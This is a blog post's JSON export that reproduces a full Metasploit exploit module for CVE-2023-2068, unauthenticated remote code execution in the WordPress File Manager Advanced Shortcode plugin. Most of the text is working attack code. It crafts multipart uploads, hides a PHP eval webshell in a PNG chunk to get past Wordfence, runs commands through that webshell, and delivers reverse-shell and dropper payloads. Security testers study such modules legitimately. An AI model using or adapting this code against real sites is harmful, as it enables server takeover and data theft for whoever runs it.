##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
\nRank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
\ninclude Msf::Exploit::CmdStager
\ninclude Msf::Exploit::FileDropper
\ninclude Msf::Exploit::Format::PhpPayloadPng
\ninclude Msf::Exploit::Remote::HTTP::Wordpress
\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n‘Name’ => ‘Wordpress File Manager Advanced Shortcode 2.3.2 – Unauthenticated Remote Code Execution through shortcode’,
\n‘Description’ => %q{
\nThe Wordpress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.
\nThis leads to RCE in cases where the allowed MIME type list does not include PHP files.
\nIn the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.
\nFile Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.
\nTo install the Shortcode plugin File Manager Advanced version `5.0.5` or lower is required to keep the configuration
\nvulnerable. Any user privileges can exploit this vulnerability which results in access to the underlying operating system
\nwith the same privileges under which the Wordpress web services run.
\n},
\n‘Author’ => [
\n‘h00die-gr3y <h00die.gr3y[at]gmail.com>’, # Metasploit module
\n‘Mateus Machado Tesser’ # discovery
\n],
\n‘References’ => [
\n[‘CVE’, ‘2023-2068’],
\n[‘URL’, ‘https:\/\/attackerkb.com\/topics\/JncRCWZ5xm\/cve-2023-2068’],
\n[‘PACKETSTORM’, ‘172707’],
\n[‘WPVDB’, ’58f72953-56d2-4d86-a49b-311b5fc58056′]\n],
\n‘License’ => MSF_LICENSE,
\n‘Platform’ => [‘windows’, ‘unix’, ‘linux’, ‘php’],
\n‘Privileged’ => false,
\n‘Arch’ => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],
\n‘Targets’ => [
\n[
\n‘PHP’,
\n{
\n‘Platform’ => ‘php’,
\n‘Arch’ => ARCH_PHP,
\n‘Type’ => :php,
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘php\/meterpreter\/reverse_tcp’
\n}
\n}
\n],
\n[
\n‘Unix Command’,
\n{
\n‘Platform’ => ‘unix’,
\n‘Arch’ => ARCH_CMD,
\n‘Type’ => :unix_cmd,
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘cmd\/unix\/reverse_bash’
\n}
\n}
\n],
\n[
\n‘Linux Dropper’,
\n{
\n‘Platform’ => ‘linux’,
\n‘Arch’ => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
\n‘Type’ => :linux_dropper,
\n‘Linemax’ => 65535,
\n‘CmdStagerFlavor’ => [‘wget’, ‘curl’, ‘printf’, ‘bourne’],
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘linux\/x64\/meterpreter\/reverse_tcp’
\n}
\n}
\n],
\n[
\n‘Windows Command’,
\n{
\n‘Platform’ => ‘win’,
\n‘Arch’ => ARCH_CMD,
\n‘Type’ => :windows_cmd,
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘cmd\/windows\/powershell\/x64\/meterpreter\/reverse_tcp’
\n}
\n}
\n],
\n[
\n‘Windows Dropper’,
\n{
\n‘Platform’ => ‘win’,
\n‘Arch’ => [ARCH_X64, ARCH_X86],
\n‘Type’ => :windows_dropper,
\n‘Linemax’ => 3000,
\n‘CmdStagerFlavor’ => [‘psh_invokewebrequest’, ‘vbs’, ‘debug_asm’, ‘debug_write’, ‘certutil’],
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘windows\/x64\/meterpreter\/reverse_tcp’
\n}
\n}
\n]\n],
\n‘DefaultTarget’ => 0,
\n‘DisclosureDate’ => ‘2023-05-31’,
\n‘DefaultOptions’ => {
\n‘SSL’ => false,
\n‘RPORT’ => 80
\n},
\n‘Notes’ => {
\n‘Stability’ => [CRASH_SAFE],
\n‘SideEffects’ => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
\n‘Reliability’ => [REPEATABLE_SESSION]\n}
\n)
\n)
\nregister_options(
\n[
\nOptString.new(‘TARGETURI’, [true, ‘File Manager Advanced (FMA) Shortcode URI path’, ‘\/’]),
\nOptString.new(‘WEBSHELL’, [
\nfalse, ‘The name of the webshell with extension php. Webshell name will be randomly generated if left unset.’, nil
\n]),
\nOptEnum.new(‘COMMAND’,
\n[true, ‘Use PHP command function’, ‘passthru’, %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])
\n]\n)
\nend<\/p>\n
def get_form_data(png_webshell)
\n# construct multipart form data
\nform_data = Rex::MIME::Message.new
\nform_data.add_part(”, nil, nil, ‘form-data; name=”reqid”‘)
\nform_data.add_part(‘upload’, nil, nil, ‘form-data; name=”cmd”‘)
\nform_data.add_part(‘l1_Lw’, nil, nil, ‘form-data; name=”target”‘)
\nform_data.add_part(‘fma_load_shortcode_fma_ui’, nil, nil, ‘form-data; name=”action”‘)
\nform_data.add_part(@wp_data[‘fmakey’].to_s, nil, nil, ‘form-data; name=”_fmakey”‘)
\nform_data.add_part(@upload_path.to_s, nil, nil, ‘form-data; name=”path”‘)
\nform_data.add_part(”, nil, nil, ‘form-data; name=”url”‘)
\nform_data.add_part(‘false’, nil, nil, ‘form-data; name=”w”‘)
\nform_data.add_part(‘true’, nil, nil, ‘form-data; name=”r”‘)
\nform_data.add_part(‘plugins’, nil, nil, ‘form-data; name=”hide”‘)
\nform_data.add_part(‘upload,download’, nil, nil, ‘form-data; name=”operations”‘)
\nform_data.add_part(‘inside’, nil, nil, ‘form-data; name=”path_type”‘)
\nform_data.add_part(‘no’, nil, nil, ‘form-data; name=”hide_path”‘)
\nform_data.add_part(‘no’, nil, nil, ‘form-data; name=”enable_trash”‘)
\nform_data.add_part(‘image\/png,text\/x-php’, nil, nil, ‘form-data; name=”upload_allow”‘)
\nform_data.add_part(‘2G’, nil, nil, ‘form-data; name=”upload_max_size”‘)
\nform_data.add_part(png_webshell.to_s, ‘image\/png, text\/x-php’, ‘binary’, “form-data; name=\\”upload[]\\”; filename=\\”#{@webshell_name}\\””)
\nform_data.add_part(”, nil, nil, ‘form-data; name=”mtime[]”‘)
\nreturn form_data
\nend<\/p>\n
def upload_webshell
\n# randomize file name if option WEBSHELL is not set
\n@webshell_name = (datastore[‘WEBSHELL’].blank? ? “#{Rex::Text.rand_text_alpha(8..16)}.php” : datastore[‘WEBSHELL’].to_s)<\/p>\n
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
\n@get_param = Rex::Text.rand_text_alphanumeric(1..8)<\/p>\n
payload = if target[‘Type’] == :php
\n“<?php @eval(base64_decode($_POST[\\’#{@post_param}\\’]));?>”
\nelse
\n“<?=$_GET[\\’#{@get_param}\\’](base64_decode($_POST[\\’#{@post_param}\\’]));?>”
\nend<\/p>\n
# inject PHP payload into the PLTE chunk of the PNG image to bypass security such as Wordfence
\npng_webshell = inject_php_payload_png(payload, injection_method: ‘PLTE’)
\nif png_webshell.nil?
\nreturn false
\nend<\/p>\n
# Upload payload in Wordpress root for execution
\n# try again at the configured upload directory if LFI fails
\n@upload_path = ”
\nno_break = true
\nloop do
\nform_data = get_form_data(png_webshell)
\nres = send_request_cgi({
\n‘method’ => ‘POST’,
\n‘uri’ => normalize_uri(‘\/’, @wp_data[‘baseurl’], ‘wp-admin’, ‘admin-ajax.php’),
\n‘ctype’ => “multipart\/form-data; boundary=#{form_data.bound}”,
\n‘data’ => form_data.to_s
\n})
\nif res && res.code == 200 && !res.body.blank?
\n# parse json to find the webshell name embedded in the response at the “added” section that indicates a successful upload
\nres_json = res.get_json_document
\nreturn false if res_json.blank?
\nreturn true if res_json.dig(‘added’, 0, ‘name’) == @webshell_name<\/p>\n
# If we face an upload permission error, use the configured upload directory path to upload the payload
\n# We might not have execution rights there, but at least we can try ;-)
\nif res_json.dig(‘warning’, 0) == ‘errUploadFile’ && res_json.dig(‘warning’, 2) == ‘errPerm’ && no_break
\n@upload_path = @wp_data[‘path’]\nno_break = false
\nelse
\nreturn false
\nend
\nelse
\nreturn false
\nend
\nend
\nend<\/p>\n
def execute_php(cmd, _opts = {})
\npayload = Base64.strict_encode64(cmd)
\nsend_request_cgi({
\n‘method’ => ‘POST’,
\n‘uri’ => normalize_uri(‘\/’, @wp_data[‘baseurl’], @upload_path, @webshell_name),
\n‘ctype’ => ‘application\/x-www-form-urlencoded’,
\n‘vars_post’ => {
\n@post_param => payload
\n}
\n})
\nend<\/p>\n
def execute_command(cmd, _opts = {})
\npayload = Base64.strict_encode64(cmd)
\nphp_cmd_function = datastore[‘COMMAND’]\nsend_request_cgi({
\n‘method’ => ‘POST’,
\n‘uri’ => normalize_uri(‘\/’, @wp_data[‘baseurl’], @upload_path, @webshell_name),
\n‘ctype’ => ‘application\/x-www-form-urlencoded’,
\n‘vars_get’ => {
\n@get_param => php_cmd_function
\n},
\n‘vars_post’ => {
\n@post_param => payload
\n}
\n})
\nend<\/p>\n
def check_fma_shortcode_plugin
\n# check if fma shortcode plugin is installed and return fmakey, upload directory path and Wordpress base url
\n@wp_data = {}
\nres = send_request_cgi!({
\n‘method’ => ‘GET’,
\n‘uri’ => normalize_uri(datastore[‘TARGETURI’])
\n})
\nif res && res.body && res.code == 200
\n# 1. Get the fmakey information by searching for strings:
\n# \/_fmakey: ‘1555ef603c’,\/ or \/_fmakey:’1555ef603c’,\/ or \/”fmakey”:”1555ef603c”,\/
\nfmakey_match1 = res.body.match(\/_fmakey:.*’.*’,\/)
\nfmakey_match2 = res.body.match(\/”fmakey”:”.*”,\/)
\nreturn if fmakey_match1.nil? && fmakey_match2.nil?<\/p>\n
if fmakey_match1
\n@wp_data[‘fmakey’] = fmakey_match1[0].split(‘,’)[0].split(‘:’)[1].tr(‘\\”, ”).strip
\nelse
\n@wp_data[‘fmakey’] = fmakey_match2[0].split(‘,’)[0].split(‘:’)[1].tr(‘”‘, ”).strip
\nend<\/p>\n
# 2. Get the upload directory path information by searching for strings:
\n# \/path: ‘upload’,\/ or \/path:’upload’,\/ or \/”path”:”upload”,\/
\npath_match1 = res.body.match(\/path:.*’.*’,\/)
\npath_match2 = res.body.match(\/”path”:”.*”,\/)
\nreturn if path_match1.nil? && path_match2.nil?<\/p>\n
if path_match1
\n@wp_data[‘path’] = path_match1[0].split(‘,’)[0].split(‘:’)[1].tr(‘\\”, ”).strip
\nelse
\n@wp_data[‘path’] = path_match2[0].split(‘,’)[0].split(‘:’)[1].tr(‘”‘, ”).strip
\nend<\/p>\n
# 3. Determine Wordpress baseurl
\n# search in html content for:
\n# <script src=’http(s):\/\/ip\/<wp-base>\/wp-content\/plugins\/file-manager-advanced-shortcode\/js\/shortcode.js?ver=3e7e96fad5e237fb2d5a081c6cb11212′ id=’fma-shortcode-js-js’><\/script>
\n# split off \/wp-content and http(s):\/\/ip part to determine the <wp-base> which can be empty.
\nbaseurl_match = res.body.match(%r{src=.*wp-content\/plugins\/file-manager-advanced-shortcode\/})
\nreturn if baseurl_match.nil?<\/p>\n
@wp_data[‘baseurl’] = baseurl_match[0].split(‘\/wp-content’)[0].split(‘\/’)[3]\nend
\nend<\/p>\n
def check
\nreturn CheckCode::Safe(‘Server not online or not detected as WordPress.’) unless wordpress_and_online?<\/p>\n
check_fma_shortcode_plugin
\nreturn CheckCode::Safe(“Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \\”#{datastore[‘TARGETURI’]}\\” setting.”) if @wp_data[‘fmakey’].nil?<\/p>\n
CheckCode::Appears(“fmakey successfully retrieved: #{@wp_data[‘fmakey’]}”)
\nend<\/p>\n
def exploit
\n# check if fmakey is already set from the check method otherwise try to find the key.
\ncheck_fma_shortcode_plugin unless datastore[‘AutoCheck’]\nfail_with(Failure::NotVulnerable, “Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \\”#{datastore[‘TARGETURI’]}\\” setting.”) if @wp_data[‘fmakey’].nil?<\/p>\n
fail_with(Failure::NotVulnerable, “Webshell #{@webshell_name} upload failed.”) unless upload_webshell
\nregister_file_for_cleanup(@webshell_name.to_s)<\/p>\n
print_status(“Executing #{target.name} for #{datastore[‘PAYLOAD’]}”)
\ncase target[‘Type’]\nwhen :php
\nexecute_php(payload.encoded)
\nwhen :unix_cmd, :windows_cmd
\nexecute_command(payload.encoded)
\nwhen :linux_dropper, :windows_dropper
\nexecute_cmdstager({ linemax: target.opts[‘Linemax’] })
\nend
\nend
\nend<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Format::PhpPayloadPng include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, ‘Name’ => ‘Wordpress File Manager Advanced Shortcode 2.3.2 – Unauthenticated Remote Code Execution through shortcode’, ‘Description’ => …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45593","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45593","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45593"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45593\/revisions"}],"predecessor-version":[{"id":45714,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45593\/revisions\/45714"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45593"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45593"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45593"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}